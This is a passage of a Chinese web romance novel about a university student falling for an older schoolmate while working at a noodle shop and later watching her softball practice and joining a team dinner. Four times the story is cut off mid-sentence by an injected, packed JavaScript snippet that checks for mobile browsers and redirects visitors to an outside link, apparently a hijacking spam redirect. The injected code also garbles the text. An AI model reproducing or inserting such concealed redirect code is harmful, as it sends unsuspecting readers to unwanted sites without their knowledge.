连云林的天空都蓝了许多。 周三本是最漫长的一天,但有黎羽的消息陪伴,变得不那么难熬了。 周四,秦离难得起了个大早,换了另一套浅粉色的连衣裙,配了一条白色的发带和一对带着小花的耳环,看着不像去打工,倒像是和闺蜜去逛街购物的。 早上九点,店里才刚开门。秦离到时,何章远和黎羽不在,只有前日见过一面的何旭在。 看到她,何旭吃了一惊:“这么早?” 独自面对一个三十多岁的陌生男性,秦离还是有些不自在,顿了下,说话吞吞吐吐:“额……老板好,不是说周四全天么?” “现在没什么客人,你先坐会吧。” “好,谢谢老板。” 何旭忙着摆桌椅,准备今天的汤料和食材。秦离坐在角落里,浑身不自在,忍不住给黎羽发消息:【我现在已经过来了,但店里只有另一个老板在,好尴尬啊QAQ[大哭]】 很快,有电话进来了。 看见屏幕上亮着的“黎羽”,秦离一下子慌乱起来,咽了咽口水,做贼似左右环顾,见没人注意,才深吸一口气,把键划向绿色。 “喂?” 糟糕,声音有些颤。 “秦离?” 黎羽的声音听上去像玉石般温润,加上呼吸的气流声也被放大,平添了一分暧昧,让秦离觉得耳朵酥麻,脸有些红。 “是……”喉咙发紧,秦离轻咳了声,“是我……” 那边的声音带着笑意,听着很温柔:“你怎么这么早就过去了?” “因为说好是周四全天嘛,来了才看到没客人。” 秦离的声音软绵绵的,听着像是撒娇。 那边笑意更明显了:“怎么呆呆的,这个点当然没人啊。” “……” 见秦离不答话,黎羽才亡羊补牢:“不是笑话你,怪我,是我没有说清楚,你等等,我马上过来。” “好哦。” 过了十五分钟,黎羽匆匆忙过来了。她还是一身卫衣,只是头发有些毛躁,拿一顶米色的棒球帽压着。 她的目光在秦离的衣服上停了一瞬,有些哭笑不得,但还是没说什么,只道:“早上好。” “早上好!” “学妹真是干劲十足呢。” “^0^” 这时,何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370134|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旭也出来了:“小羽,你也来了?” “大何,早。”黎羽将黑色挎包放到柜台下,“学妹都来这么早,我也不能睡懒觉啊。” “黎羽!”秦离恼羞成怒。 “好了好了,不逗你了。”黎羽举双手投降,“你们都见过,就不用我介绍了吧。” 两人点头。 “那我跟你说说具体要做的事吧。”黎羽拉过椅子,靠背朝前,跨坐在上面。 “嗯嗯~” “其实也挺简单的,就是点菜、上菜和收钱。主要就是单子写好后,要按顺序递给厨房。平时一般就中午12点到1点半,晚上5点到8点人最多,所以早上不用来得太早,下午也可以休息。周末的话就全天陆陆续续都有人了。” “嗯嗯~” “哦,对了,人太多的时候,厨房忙不过来,可能要帮忙做下螺蛳粉。” “嗯……欸?” 秦离连连摇头:“我不会做饭啊。“她在家都是十指不沾春水,洗个菜都洗不顺的。 “很简单的。” “我真的……” “我教你。” “……好哦。” 今日份的螺蛳汤底已经准备好了。 秦离盯着翻滚的汤面很久了,才道:“我之前就想问了,说是螺蛳粉,为什么我没在里面吃到螺蛳啊。” 黎羽一本正经:“众所周知,螺蛳粉里没有螺蛳。” “欸?” 见秦离当了真,还认真思索,黎羽大笑出声:“逗你呢,实际上是因为汤底是用螺蛳熬出来的。” “你又逗我。”秦离气鼓鼓,扭过头作状不理她。 “不生气啊,是我的错,你的反应太可爱了。” 被这么说,秦离一下子就没法气了,只软绵绵转移话题:“我们开始吧。” “好。那你先抓一份粉放在漏勺里。” “……直接抓啊?”秦离看着装粉的桶,有些嫌弃,“还有一份是多少?” “戴一次性手套,分量的话,随便你抓吧。” “啊?随便抓?” “嗯,手伸出来。” “好哦。” 秦离乖巧伸手,黎羽拿起一只手套,往里吹了口气,套在她的右手上。五指指肚在她的手指连接处按压,将它套牢。 右手仿佛被黎羽的手包裹着,秦离觉得很烫,这种烫从手掌往上,顺着手臂一直蔓延到了心脏。刚刚按压的那一瞬,她几乎觉得两人是十指交缠的亲密关系。 魂不守舍。 “好了。” 黎羽出声,秦离才回神:“好……好哦。” 接着就是机械式的跟着做。下粉,捞起,进碗,加生菜、花生、酸笋、腐竹、葱、辣椒,最后加汤。 “有没有特别喜欢的配菜?” “那个腐竹还挺好吃的。” “那就多加点。”黎羽往碗里又加了多一倍的腐竹。 “欸?” “试试吧,”黎羽端起碗,“你自己做的食物。” “好……好哦。” 秦离跟着她回到桌前,两人面对面坐着。 与第一次见面相似的场景。只是这次,秦离不再紧张,黎羽的语气也更加亲昵。 “试试?” 秦离尝了一口,惊道:“好吃的!天,这居然是我做出来的?” 黎羽的嘴角上翘,眼眸弯弯:“很简单吧。” “嗯!” 此刻,秦离心中的感觉很奇妙,好像自己一下子就成熟了。 识得柴米油盐醋,一起做饭,一起吃东西,就好像,可以跟某个人一起过日子。 5. Chapter 5 店里服务员的工作说起来简单,秦离做起来还是手忙脚乱。 点菜的事还好,她靠着好记性,总能把人和菜对上号。端菜的活计就比较麻烦了。碗太烫不好端,汤太满不好端,托盘太重也不好端。 也亏得两位老板都是脾气好的,也体谅学生,反过来还安慰沮丧的秦离,让她慢慢来。 刚开始的时候,还发生了件乌龙事。 因为秦离穿得太精致了,就是站在店里,也没人把她当服务生。每次她让客人点单时,对方都露出惊讶的表情。 其中有个看着稚嫩的男孩子——可能才大一——盯着秦离看了半天,脸通红,支支吾吾的。后来才知道,他以为她是来搭讪的,心里还挺开心的。 对此,黎羽还有大张、小张都笑个不停。 “别笑我了。”秦离颇难为情。 “不笑了,不笑了。”黎羽捂住嘴,但笑意还是从指缝漏出来。其他两人也背过身去憋笑不说话。 秦离恼了,嗔怒地瞪了黎羽一眼:“你看你还笑。” 黎羽无奈摊手:“别光逮着我一人啊,他俩也在笑。” 秦离可不管,还是气鼓鼓地盯着黎羽。最后还是黎羽好言好语,才哄好她。 哄人的话翻来覆去就那两句:“乖啊”,“不气了”,“笑一个吧”。 然而每次她这么说时,秦离心尖都软了,一点脾气都没有。 最后,秦离还是换下了那些浅色的小裙子,穿上方便做事的板鞋、牛仔裤和深色T恤。倒不是因为这次乌龙事件,而是黎羽受伤了。 事情发生在周六的时候。 其实这几天的打工体验,已经让秦离意识到穿漂亮的小裙子工作不太方便了。但她着实爱美,又想在黎羽面前打扮得好看些,便仍是每日一换,只是做事的时候随时得注意着,不弄脏衣服。 这天人特别多,店里一直从中午忙到了晚上,所有人都没停下来歇过。 秦离在厨房刚放下单子,外面老板喊道:“13号桌的两碗螺蛳粉,客人在催了,厨房快点。” “来了!”厨师大姐扯着嗓子一吼,长勺甩汤入碗,“快端出去。” “大姐,托盘呢?”厨房的地本来就滑,秦离走得艰难,左右张望。 厨师大姐催促道:“哎呀,还要什么托盘,直接端出去得了。” 外面也在催着:“13号桌……” 秦离只得硬着头皮将两个碗一手一只端着,龟速往外面挪动。既要保持平衡不要让汤洒出来,又要小心脚下,还要注意不碰到门框和桌腿,免得弄脏裙子。 这样自然是看不过来,而且手上也越来越烫。 突然,秦离的身后传来一声急呼:“小心!” 什么……黎羽的声音? 秦离还没反应过来,脚下先踩着什么东西,整个身体失去平衡朝后倒。 她大脑一片空白,条件反射紧闭上眼。 紧接着,她感觉被抱住了。半晌,也没有被烫到的感觉。 汤…… 空白外,慢慢有声音传了进来,是何章远:“小羽,秦离,你们没事吧?” 秦离呆呆睁开眼,还没有恢复思考,看着侧抱住她的人,后知后觉道:“黎羽?” 黎羽没说话,眉头皱得很紧,表情痛苦。 “黎羽……”秦离终于反应过来了,“天啊,黎羽,你没事吧?” 关键时刻,是黎羽用手臂揽住她,挡在了她的面前。大半碗汤都洒在了她的上手臂连肩膀到后背上。要不是她及时挡住,遭殃的可能就是秦离的脸了。 黎羽还是没回答,松开秦离,只给何章远留下句“我去处理下”,就上楼了。 “黎羽……” 秦离心里前所未有的慌张。她觉得黎羽好像生气了,给何章远说了句“我去看看”,急急忙忙跟了上去。 何章远在后面摇摇头,无声地叹了口气,收拾残局。 二楼的小房间,秦离推门而入。 这是她第一次进这个房间。房间很小,开着灯也很暗,里面只有一张单人床、一张桌子、一个柜子,隔了一个简单的洗漱间,角落里堆着一些杂物,一个很小的窗户,窗户对面是隔着一条河的宿舍楼。 黎羽坐在床边,刚好背对着门,脱了上衣,只留下黑色束胸,右半边身子大块红肿,是刚刚的烫伤,皮肤上似乎还有些伤痕。 她手上拿着烫伤膏,正伸手想擦背后,听见声音变了脸色,拉过外套迅速披在身上,语气不佳:“你怎么上来了?” 秦离本就惶惶不安,被她的态度伤到,说话更加畏缩:“我……我担心你的伤……” 黎羽也意识到自己反应过度,顿了下,语气缓和了些,但声音依旧有些冷:“我没事,你不用来的。” 秦离心里凉凉的,但还是鼓气道:“你一个人不方便,我帮你擦药吧,而且……本来就是我的错……” 黎羽收拾好情绪,似乎又变回了初遇时那副淡淡的样子:“我自己来就行,你先去帮忙吧,如果想休息的话也可以先回去。” 连番被拒绝,秦离彻底失去了勇气,看见门在眼前关上,失魂落魄地下了楼。 楼下,何章远一直关注着,见她下来,连忙问道:“怎么样,没事吧?” 秦离摇摇头,沮丧道:“黎羽肯定生我气了,都不让我帮忙。” 虽然不知道具体发生了什么,但何章远熟悉黎羽那阴晴不定的狗脾气,估计又是触到她什么点,没什么好反应了。 他安慰道:“别管她,过会儿就好了。你衣服脏了,今天也吓到了,先回去休息吧。” 秦离这才后知后觉,豆青色的裙子上还是沾了些油渍,明晃晃的很刺眼。 店里人来人往,又有客人在喊了,秦离摇摇头:“这会不是人多么?我忙过这阵再回去吧。” 何章远叹了口气:“行,别逞强啊。” 秦离沉默地干着活,过了会黎羽也下来了,换了身衣服,看不出来伤势如何。 她跟何章远和何旭说了声,看见秦离顿了下,含混着也打了个招呼,先离开了。 秦离的心情变得更糟糕了。 她机械式做完活,回宿舍胡乱冲了个澡,爬上床,用蚊帐将自己遮得严严实实。 周末的宿舍,陈小雨去图书馆自习了,空荡荡的只有她一个人。她没开灯,躺在床上,放着soun ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370135|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' dhorizon的歌,将声音放得很大,用手臂挡着眼睛。 眼睛酸涩,心里也委屈,灵魂好像飘在空中,很孤单。 不知道放了多久的音乐,秦离浑浑噩噩睡去,又迷迷糊糊醒来,窗外的天空已经暗下来了,河对岸灯火通明,透过玻璃仿佛能看到对面。 心中憋着的那股郁气依旧没有散去,黑暗里,秦离打开手机,想在小说的世界里麻痹自己,却意外看到了郭平的消息。 郭平是她的南城老乡,读金融的,脑子活络得很,组织着一群老乡们经常一起活动,尤爱搓麻将。 果然,这次的短信也是:【阿离,晚上八点的局,来不来?】 秦离有点丧失行动力:【不想动。】 【哎呀,来嘛,三缺一,就差你一个了。】 【今天有点不想打。】 【来了就想打了,来嘛,庆姐和盈盈都想打,我们在你楼底下等你。】 【……我想一下。】 【莫想了,搞快下来,我们已经到你楼底下了!】 于是,秦离最终还是坐在了棋牌室里,手动调完机子后,开搓。 大概是情场失意,赌场得意,她今晚手气意外火热,杠上花清一色巧七对随便来,精张单调都能自摸,转眼间就赢了两三百。 桌子上这几个都是熟人了,也不在乎这点输赢,场子一续再续,奔着天明去的。 四人边打边闲聊。 郭平是娱乐事业两不误,最近已经在申请暑假在银行实习的事了,庆姐和盈盈一个搞了点小生意在创业,一个时不时在校外做一些模特的单。 听她们说到工作赚钱和未来打算的事,秦离原本畅快点的心又有点躁意了。 这时,庆姐多问了句:“阿离以后有撒子打算喃?” 秦离应道:“想出国继续读书。” “可以哦,我们学校出去还是多有优势的嘛。” 郭平也是夸着好友:“那是,我们阿离可是学霸。做自己想做的事,也挺好的嘛。” 秦离不太喜欢聊未来的事。她说不上来以后要做什么工作,只是模糊有个想法,想出国去看看。 郭平很敏锐,见状转移话题:“哎呀莫说那么多了,摸牌摸牌,庆姐,你打快点哦!” 哗啦啦的麻将声中,所有的烦恼都被洗掉了。四人连打三场,干到早上七点,秦离一铲三,赢得盆满钵满,喜滋滋的。 清晨回去的路上,秦离的话逐渐多了起来,自然而然讲了不少近况。 郭平是个很好的听众,回应得恰到好处。在听说黎羽的事后,他也没什么反应,很自然接受她突然弯掉的事实,只道:“哪那么高傲哦,我们这条街上长得帅的女生也很多,没必要吊死在一棵树上撒。还有你不是一直很喜欢那个coser……” 秦离想起凤栖,心脏似乎也是怦怦直跳。 她被说动了,也觉得就是一次明恋嘛,没什么大不了,还不如去看凤栖呢。刚好下周又有一场大型漫展,凤栖应该会来。 想到这里,她便给何章远去了条短信,说明下周有事请假不去店里了。 哼,什么黎羽,一边去,她要去看女神啦! 6. Chapter 6 何章远同意了,让她闲下来再过来就行。 于是,这小半个月的打工生涯很快便被秦离抛之脑后。她忙于上专业课、辅修、雅思,甚至跃跃欲试想报个GRE的班。 啊……想出去读人类学,那还是得学个GRE吧? 秦离没有找任何中介,坚信自己能DIY,就是进度“喜人”。 这周末是CX,凤栖半个月前就发微博说要参加,出的是军装版猴哥,也是秦离“一见钟情”的角色。她想了想,仍然穿了姐姐大人的制服,虽然角色冷,但至少和女神是一部作品呢。 嘻嘻。 漫展一整天都沉浸在紧张心动中,多巴胺和荷尔蒙疯狂分泌。得知这两天是凤栖的生日,秦离跑了两条街,买了店内最大的一束蓝玫瑰,送给女神。 跟凤栖说话时,秦离的手都在抖,心脏剧烈跳动。她不跟朋友去游场,又不敢多打扰女神,就在旁边一直望着,时不时拍些照,直到闭馆收摊。 喜欢,表达好感,对秦离来说是如此的容易。她总是不吝于输出自己的情绪,主动出击。 一周过去,秦离自觉冷静下来,对打工的事也没那么热情了。 她想着做事好歹要有始有终,打算这学期结束就跟老板说不做兼职了。 周一的中午,秦离到店时已经快十二点了,人一如既往地多。 何章远见她来了,关切问道:“怎么样,还好吧,事情忙完了吗?” 秦离有些心虚,超大声元气回答:“忙完啦!这周就可以正常来了。” “那就好呢。”何章远笑眯眯,看上去心情不错。 秦离没在店里看见黎羽,只有柜台上放着半包万宝路,是黎羽最常抽的那款。 她心里一抽,突然想起初见时昏黄路灯下的身影。 黎羽没有烟瘾,只是在烦闷的时候,会抽一根万宝路的爆珠。 她手指纤细修长,夹着烟的姿势很优雅。 她总是抽得很慢,任由烟尾的那点光圈在黑暗中明灭。 她兴起时,会给秦离看那吹出来的烟圈,层层氲开,烟雾之后是她逗弄的笑容。 原本以为已经抽离的情绪又从不知名的角落蔓延开来,让秦离的四肢都酸软无劲。 她的声音也变得低落:“黎羽不在吗?” “小羽吗?她这两周都不来。” 情绪蔓过了心脏,秦离听自己的声音都像隔了一层:“她怎么了?” 是……还在生她的气吗? “她马上要打比赛了,这两周都在训练。” “训练?” “嗯,”何章远对秦离内心翻滚的情绪一无所知,“好像说是六月有垒球比赛,她是校队的嘛。” “……这样哦。” 秦离想起来了,黎羽有件写着sc的卫衣,sc不就是学校垒球社的简称嘛。她们团委实践部有个大一的小姑娘也是垒球社的。 原来是训练去了啊。 秦离心里舒了一口气,又有些担忧。她想起她身上的烫伤,这样打比赛没事吗? 但更多的不好再问老板,秦离看着信息栏,上一条消息已经是一周前了。 光标在屏幕上闪烁着,秦离打了一行字又删掉,最终还是放下了手机。 秦离换上了耐脏的卫衣牛仔裤,在店里正常干着活,但这个地方却无法让她见到想见的人。 明明在同一个学校,同一期宿舍,想要碰见却是这那么困难。 她也去体育馆和操场那边转过几圈,没看见黎羽。 心里……空落落的。 这周五下午是实践部每月的福利院志愿者活动日,秦离作为副部长自然要带队。巧的是,这次参加活动的恰好有那个垒球社的小姑娘,叫小智。 本月活动是陪云林第三福利院的老人们做剪纸,陪她们聊天。老人们笑得很开心,还有人唱起了沙家浜。 活动一如既往地顺利,回程的公交车上,秦离终于逮着机会问小智:“我记得你是学校垒球社的?” 小智是个脸圆圆的可爱小姑娘,笑着回应:“对呀,副部,怎么啦?” “你们最近是有比赛吗?” “是呢,高校联赛,副部怎么突然问到这个啦?” “我……有个认识的朋友也在垒球社。” “咦?是谁,副部之前都没提过。” 看着小姑娘清澈的眼神,秦离莫名有些心虚,定了定神才道:“叫黎羽。” “哇——”小智眼睛亮起来了,“副部原来和副队是朋友啊。副队可是超厉害的投球手,上次和S大打比赛,她投的球又好又快,逼得对手打出不舒服的轨迹,我们直接接杀,把对方直接淘汰!还有还有……” 小智越说越激动,对黎羽崇拜之情溢于言表。 秦离其实不大明白垒球的东西,但是越听越觉得心痒难耐。 那好像是另一个黎羽,一个——更耀眼的她。 “那你今天不用训练吗?” “要的啦,”小智给秦离看背包里的手套,“我回校就要赶过去,今天的训练5点开始。” “那我……” “副部,你要来看吗?” “好呀!” 训练场地在L大,秦离心想,难怪之前在学校操场没有看到人。 秦离和小智到时已经比较晚了,训练已经开始了。 今天阳光正好,即使是到这个点,光线依旧很强,落在西方,火红地燃烧着。 秦离一眼就看见了黎羽。 她站在草地的中心位置,穿着成套的白色棒球服,黑色长袜到膝下,紧身裤勾勒出姣好的腿部肌肉线条。短袖上衣被扎进裤子,里面是黑色长袖打底。 她戴着红色的棒球帽,似乎流了很多汗,整个人在阳光下闪闪发光。 她深吸一口气,大步迈出,左手臂在空中抡一大圈,球被快速送了出去。对面的击球手愣了一下,没有挥动球棒。 “strike!” “好投!” “哇,副队的投球还是这么猛!” 黎羽随意活动了下手腕,压了压帽子:“好了,继续!” 她笑了,笑容灿烂,全世界的光芒都好像朝她涌来,舍不得离开。 这一刻,场上的欢呼,草地上的跑动,风吹的声音,所有的喧嚣都像是隔了一层纱。 秦离的目光无法移开。 她好像听见了血液流淌的声音,听见胸腔里的那颗心飞快跳动着。 越来越快…… 越来……越快…… 她捂着心口,恍惚间觉得…… 自己……似乎……真的…… 喜欢上黎羽了。 “副部,那我去啦,铁丝网后边那里有座位。” 小智快速加入训练,秦离便去了观众席那边。 训练赛除了两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370136|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学校垒球社的球员外,并没有其他什么人。秦离一个人坐在那里,看到太阳完全落山,黑夜降临,场坪的高杆照明灯亮起,在每个人脚下打出一小团阴影。 夜晚的气味变得浓厚,视觉,听觉,嗅觉……所有的感官都被调动。 她看不懂规则,却根本不舍得挪开目光。 她看着黎羽投球,击球,在球场上跑动着,有几缕碎发被打湿,贴在了脸侧。 她看着她从场上下来,和队友说话,笑着,还有些肢体上的互动。 她们看上去,是一个群体。 秦离有些嫉妒,嫉妒那些能和黎羽说话,和她站在一起,并肩作战的队友。 她前所未有地渴望,渴望能进入黎羽的圈子,接近她,和她变得亲近。 训练在八点半左右的时候结束了。 所有球员从场地里出来,她们拎着包就要离开。 秦离坐在了阴影里,难以被看见。 走之前,小智望了眼观众区,愣了下,随即小跑过来:“副部,你还在啊,我还以为你早走了呢。” “嗯,垒球看着还挺有趣的。” 谎话。秦离心中明白,是垒球还是篮球羽毛球什么的都无所谓,她只是想看黎羽而已。 “太好啦,那之后来看我们比赛吧,有观众真的超开心的。” “嗯……” “小智,走了!” 灯光下,那边队友在呼唤,黎羽也望了过来。 秦离的心一下子就提了起来。她慌乱理了理头发,将发尾搭在了胸前。 然而黎羽只是看了一眼又收回视线。 秦离心中涌起一股失望。 她想要,想要被她看见。 “那副部,我走啦,等下队里要聚餐。” 小智要回去,秦离不舍得就这么看着黎羽离开,也跟着走了出去,进入灯光区。 旁人也注意到了秦离,有个寸头高大的女生问道:“小智,这是?” “是我们实践部的副部。” “学妹?” 黎羽突然插话,她的目光落在她身上,这次完完全全被占有。 秦离感到一种满足感,她羞涩望了回去,声音软软的:“……学姐。” 黎羽又笑了,是赛场上那种笑。 “真的是你啊,我刚刚还以为看错了,怎么突然过来了?” “嗯……小智说今天有训练,我刚好有空,又挺感兴趣的,就过来看看。” 两人一言接着一语,秦离能够感受到周围人戏谑和八卦的眼神,心中窃喜。 寸头女生表现得尤为明显。她用手肘撞了撞黎羽,挤眉弄眼:“原来是你学妹啊,哟~有情况,都专门来看你训练了。” 黎羽回击了她一肘子:“别瞎起哄,学妹不是……。” 两人关系看上去很好。 不是什么…… 秦离一下子没反应过来。 寸头女生格外热情,边对黎羽下狠手,边对秦离笑容满面:“学妹啊,我们要去恰饭,你要不要一起?” 秦离没有立刻回答,询问的目光投向黎羽。 黎羽的笑容依旧灿烂。 她今晚笑得很多,变得似乎很好接近。 她脚动了,路过秦离时拍了拍她的头:“走吧,小学妹。” “好!” 心跳如鼓,秦离眼睛亮了,也扬起笑容,跟了过去。 7. Chapter 7 聚餐吃的潮汕牛肉,就在L大校外不远的二楼。这个点店里还有不少客人,黎羽一行十一二个人,将唯一的大包间挤得满满当当。 “人多,都挤一挤啊,这家可是整个大学城最好吃的潮汕牛肉,今晚大家敞开吃,队长我买单!” 说话的是那个寸头女生,秦离已经知道了,她叫李凌菲,跟黎羽一届,是校女子垒球队的队长,而且很明显…… 她的发型、打扮和言谈都很明显了,是个铁T啊。 和她站在一起,黎羽的气质都有些不同了,更加老练和放得开,带有同类的味道。秦离有种直觉,黎羽大概率也是弯的。 她为这样的可能而欢喜。 除了黎羽和小智,这里的所有人秦离都不认识。见大家自如地凑在一起聊天,准备入座,秦离有些无措。她望着黎羽,雏鸟效应般紧跟着她,寻求安全感。 黎羽挪开些,让她进去:“你坐这里吧,我和小智坐你两边。” “好哦。”秦离乖乖应着。 里面位置不好出来,黎羽起身去打调料碟,问道:“你要什么味道,我一并给你带回来。” “要辣的!”秦离望向她,一双狗狗眼闪烁着星星。 黎羽唇间又有隐约的笑意,逗弄她:“学妹真是无辣不欢啊,那给你上特辣的,这次呛着了,我在旁边给你倒水也方便。” 秦离脸有些红,掩饰般把她往外推:“好啦,你快去!” 黎羽摆摆手,由着她的力道往外走。 黎羽走后,秦离回过神来,才发现桌上大部分人都看向她这边,露出好奇的神情。小智低声感慨着:“副部,你跟副队关系真好啊,看上去跟平时完全不一样。” 秦离的脸更红了。 这时,李凌菲坏笑着朝小智招招手:“小智,我们换个位置。” “啊?” “听你队长的,换!” 李凌菲坐了过来,凑到秦离旁边道:“学妹啊,我们聊聊天呗。” 她看热闹的心很明显。秦离有些不习惯跟这类人接触,但想知道更多关于黎羽的事,应道:“学姐。” “之前都没见过你,你和小羽怎么认识的?” “在宿舍门口吃饭的时候看见她的。” “哦,她老乡那家螺蛳粉店啊。” 李凌菲熟稔的语气让秦离更紧张了,她不自觉端起茶杯喝水。 “你喜欢她吧。” “咳咳——” 秦离被她的直白吓到呛水:“你……你怎么……” 李凌菲忙给她抽纸巾,无奈道:“你不会觉得自己掩饰得很好吧,你可是满脸写着‘我对黎羽超级心动’啊。” “小声点。”秦离手忙脚乱擦水,脸上的热度就没下来过,半天才更小声道,“真这么明显?” 李凌菲配合她放低声音,表情正经:“真这么明显。” “……那其他人?” 李凌菲点头。 “……那……黎羽?” 李凌菲继续点头。 秦离捂脸,不想说话了。 李凌菲笑眯眯的,接着道:“小羽也喜欢女生哦。” 秦离唰地抬头,满眼放光:“真的?” “还能骗你?”李凌菲熟练叼烟,“她和前任已经分手快一年了,一直单着。我看她对你还挺特别的,学妹,很有机会啊。” 秦离眼睛更亮了。不过想到李凌菲刚才提到的,试探问道:“那个前任……” “你们俩凑一起嘀咕什么呢,”黎羽端着双份调料碟回来了,“还有李凌菲,点什么烟,这里还有不抽烟的人呢。” “哪儿呢,我们队不是全员烟酒都来吗?不就是……”李凌菲越说越来兴致,给秦离递了根,“学妹,要试试吗?” 黎羽将辣碟放到秦离面前,替她将烟挡了回去:“滚滚滚,别带坏她,你自己呆外边抽去。” “哎哟,这就护上了。”李凌菲打趣着,还是将烟塞了回去。 黎轻语懒得理她,转头朝秦离解释:“她这人就是这样没个正形,整天嘴上跑火车,说什么你都别放心上。要是过分了,你跟我说。” “好哦。”秦离乖乖应着,想着黎羽平时抽烟也总离她比较远,心中微甜。 锅上了,一盘盘肉也跟着上来。众人无心交谈,加入抢肉大战中。一盘子肉下去,眼看着每人捞一筷子就没了。 垒球社的女孩们都特别能吃,秦离的饭量也不小,一顿饭吃得热火朝天,所有人红光满面。 李凌菲早让服务员抱了两件百威过来,众人满上。 黎羽问秦离:“能喝吗?” 秦离点点头:“可以喝一点。” “那行,你自己看着喝,慢慢来。” 旁边李凌菲早已三杯下肚,嗓门大得不行:“慢慢来怎么行!学妹来,我们干!” 说着,她举起酒杯,秦离不好拒绝,跟她一道一口干掉。 “学妹厉害呀!来来来,满上,满上!” 有人加了下酒菜,饭桌上大家开始边吃边喝边聊着,没有刻意敬酒,全凭喜好喝多少。明天休息一天不用训练,大家都很放松。 在秦离看来,这些人都是黎羽亲近的队友,她想表现个好形象,因此跟每个人都碰了杯,每个都是一口闷。酒精上头,她话也多起来了,侃山胡谈天说地,什么话题都能聊上两句,没一会就跟大家打成一片,座位都换了又换。 这是秦离的本事,她总能很快让不同的人群接纳自己。 黎羽和李凌菲依旧坐在那个角落里慢慢晕着酒。李凌菲撇撇她:“怎么样?” “什么怎么样?” “啧,你别跟我装糊涂啊,我不信你看不出来。” “别起哄,她跟我们不一样。” “能有什么不一样,不都是女的,两个眼睛,一个嘴巴,而且还挺可爱的。” “呵,我不信你看不出来。” “……行吧,但人都有第一次,你第一次不也……” “李凌菲。” 见黎羽脸色冷了点,李凌菲举双手投降:“好了好了,我不说了,怎么这么些年了还是个炮仗。” 黎羽垂下眼帘,盯着酒杯里沉浮的气泡:“小姑娘,一时兴起,兴趣来得快,去得也快,你别瞎掺和了。” “……那你还喊她来我们聚餐。”李凌菲小声嘀咕着,在黎羽锐利的眼神里消音,做了个噤声的手势,彻底闭麦了。 这时,溜达了一圈的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370137|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦离回来了,凑到黎羽跟前,明晃晃的小狗好奇:“你们在说什么,怎么不过去呀?” 喝了酒,她胆子也大了许多,更横冲直撞了,拉着黎羽的袖子:“大家都在夸你呢,说你又帅又厉害,就是……有时候对人太冷淡了。” 李凌菲在一旁扑哧笑出声,然后捂住嘴,用眼神示意她可没开口说话啊。 黎羽的额头抽了抽。她轻轻抽回袖子,问道:“喝了多少?” 秦离数着:“一、二、三……六瓶?” 李凌菲憋不住了:“嚯,学妹酒量惊人啊。” 见有人夸,秦离更得意了:“那可是,我九岁的时候和我表哥表姐三个人就能干完四件啤酒。” 虽然宿醉的第二天早上,她起床去卫生间的路上就直接眼前发黑昏倒了,脸上还留了半个多月的淤青呢。这种丢脸的后续她才不会说出来。 “哇,真牛啊!不愧是南城妹子。” 见两人一唱一和说个没完了,黎羽无声叹了口气,打断问道:“没事?” 秦离摇头:“啤酒的话都没问题,红酒也还行,唔,白酒就算了,我不太喜欢那个味道。” 黎羽见她虽然话匣子敞开叭叭个不停,但眼神清明,走路也很稳当,稍微放心了。 桌上有几个已经喝多了,虽然没到醉的程度,但行为举止愈发猖狂起来了,甚至都跃跃欲试要来撩拨黎羽的神经。 李凌菲见势不妙,大手一挥:“好了好了,今天收摊,改天继续!”她边喊着,边拦住那几个胆大的。 “你们俩家伙,又变沉了啊,平时没少练吧。” 被夸的队友嘿嘿一笑。 秦离站在黎羽身旁,也嘿嘿笑着。她喜欢这样的氛围。 她的手臂碰着黎羽的手臂,初夏的夜晚,单薄的布料无法阻隔逐渐上升的体温,不知道是因为酒精还是心脏流出的血液。 李凌菲买完单,一伙人出门时已经是十点多了,清河路上人少了许多,由着她们在路边闹腾。 E大的大一和大部分大二学生都住在三期宿舍,大二只有秦离所在的外语学院跟大三、大四的学生一起住在一期宿舍,因此,一行人分道成了三波。 绝大多数人要回三期,李凌菲自己租了房子在外面住,只剩秦离和黎羽两人往一期去。 “走吧。” 黎羽将装着球棒、手套和护具的黑色背包斜搭在左肩上,脚步轻盈,走在前面。 